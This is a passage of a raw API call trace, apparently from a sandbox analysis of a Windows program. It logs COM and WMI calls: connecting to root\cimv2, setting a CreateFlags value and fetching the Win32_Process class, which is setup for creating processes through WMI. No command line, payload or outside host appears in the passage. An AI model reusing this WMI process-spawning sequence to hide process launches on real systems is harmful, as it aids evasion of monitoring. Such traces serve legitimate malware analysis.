returned 0x0 [0163.335] IWbemClassObject:Get (in: This=0x1bb94520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e6170*=19, plFlavor=0x27e6174*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27e6170*=19, plFlavor=0x27e6174*=0) returned 0x0 [0163.335] IWbemClassObject:Put (This=0x1bb94520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0163.335] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc940f0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0163.335] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0163.335] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0163.335] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.335] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0163.335] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0163.335] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0163.335] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.337] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbf15e0) returned 0x0 [0163.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf15e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0163.337] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf15e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc95770) returned 0x0 [0163.337] WbemDefPath:IUnknown:Release (This=0x1bbf15e0) returned 0x0 [0163.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc95770) returned 0x0 [0163.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0163.337] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0163.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0163.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0163.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbf1520) returned 0x0 [0163.338] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.338] WbemDefPath:IUnknown:Release (This=0x1bbf1520) returned 0x3 [0163.338] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0163.338] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0163.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0163.338] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0163.338] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x1 [0163.338] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0163.338] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0163.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95770, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc95770) returned 0x0 [0163.338] WbemDefPath:IUnknown:AddRef (This=0x1bc95770) returned 0x3 [0163.338] WbemDefPath:IUnknown:Release (This=0x1bc95770) returned 0x2 [0163.338] WbemDefPath:IWbemPath:SetText (This=0x1bc95770, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0163.338] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0163.338] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0163.338] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.338] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0163.338] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0163.338] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0163.338] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.339] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbf1f80) returned 0x0 [0163.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1f80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0163.339] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbf1f80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbf1fa0) returned 0x0 [0163.339] WbemLocator:IUnknown:Release (This=0x1bbf1f80) returned 0x0 [0163.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbf1fa0) returned 0x0 [0163.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0163.341] WbemLocator:IUnknown:AddRef (This=0x1bbf1fa0) returned 0x3 [0163.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0163.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0163.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0163.341] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0163.341] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0163.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0163.341] WbemLocator:IUnknown:Release (This=0x1bbf1fa0) returned 0x2 [0163.341] WbemLocator:IUnknown:Release (This=0x1bbf1fa0) returned 0x1 [0163.341] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0163.341] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0163.341] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbf1fa0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbf1fa0) returned 0x0 [0163.341] WbemLocator:IUnknown:AddRef (This=0x1bbf1fa0) returned 0x3 [0163.341] WbemLocator:IUnknown:Release (This=0x1bbf1fa0) returned 0x2 [0163.342] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0163.342] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0163.342] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.342] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbf1c40) returned 0x0 [0163.342] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbf1c40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc35e20) returned 0x0 [0163.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35e20, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43460) returned 0x0 [0163.384] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43460, pProxy=0x1bc35e20, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0163.384] WbemLocator:IUnknown:Release (This=0x1bc43460) returned 0x1 [0163.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35e20, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc434a0) returned 0x0 [0163.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35e20, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43460) returned 0x0 [0163.384] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43460, pProxy=0x1bc35e20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0163.385] WbemLocator:IUnknown:Release (This=0x1bc43460) returned 0x2 [0163.385] WbemLocator:IUnknown:Release (This=0x1bc434a0) returned 0x1 [0163.385] CoTaskMemFree (pv=0x1bc1a250) [0163.385] WbemLocator:IUnknown:AddRef (This=0x1bc35e20) returned 0x2 [0163.385] WbemLocator:IUnknown:Release (This=0x1bbf1c40) returned 0x0 [0163.386] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0163.386] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0163.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35e20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43470) returned 0x0 [0163.386] WbemLocator:IRpcOptions:Query (in: This=0x1bc43470, pPrx=0x1bbf1f40, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0163.386] WbemLocator:IUnknown:Release (This=0x1bc43470) returned 0x2 [0163.386] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0163.386] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0163.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc35e20, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc35e20) returned 0x0 [0163.386] WbemLocator:IUnknown:Release (This=0x1bc35e20) returned 0x2 [0163.386] SysStringLen (param_1=0x0) returned 0x0 [0163.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95770, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0163.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0163.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95770, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0163.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0163.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bc940f0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0163.387] IWbemServices:GetObject (in: This=0x1bc35e20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1aa22010, ppCallResult=0x0) returned 0x0 [0163.396] IWbemClassObject:Get (in: This=0x1aa22010, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0163.396] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0163.396] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0163.396] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0163.396] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0163.396] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0163.396] IUnknown:Release (This=0x1a943398) returned 0x1 [0163.399] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbf1c40) returned 0x0 [0163.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1c40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0163.400] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1c40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc956b0) returned 0x0 [0163.400] WbemDefPath:IUnknown:Release (This=0x1bbf1c40) returned 0x0 [0163.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc956b0) returned 0x0 [0163.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0163.401] WbemDefPath:IUnknown:AddRef (This=0x1bc956b0) returned 0x3 [0163.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0163.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0163.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbf1e80) returned 0x0 [0163.401] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1e80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0163.401] WbemDefPath:IUnknown:Release (This=0x1bbf1e80) returned 0x3 [0163.401] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0163.402] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0163.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc956b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0163.402] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x2 [0163.402] WbemDefPath:IUnknown:Release (This=0x1bc956b0) returned 0x1 [0163.402] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: 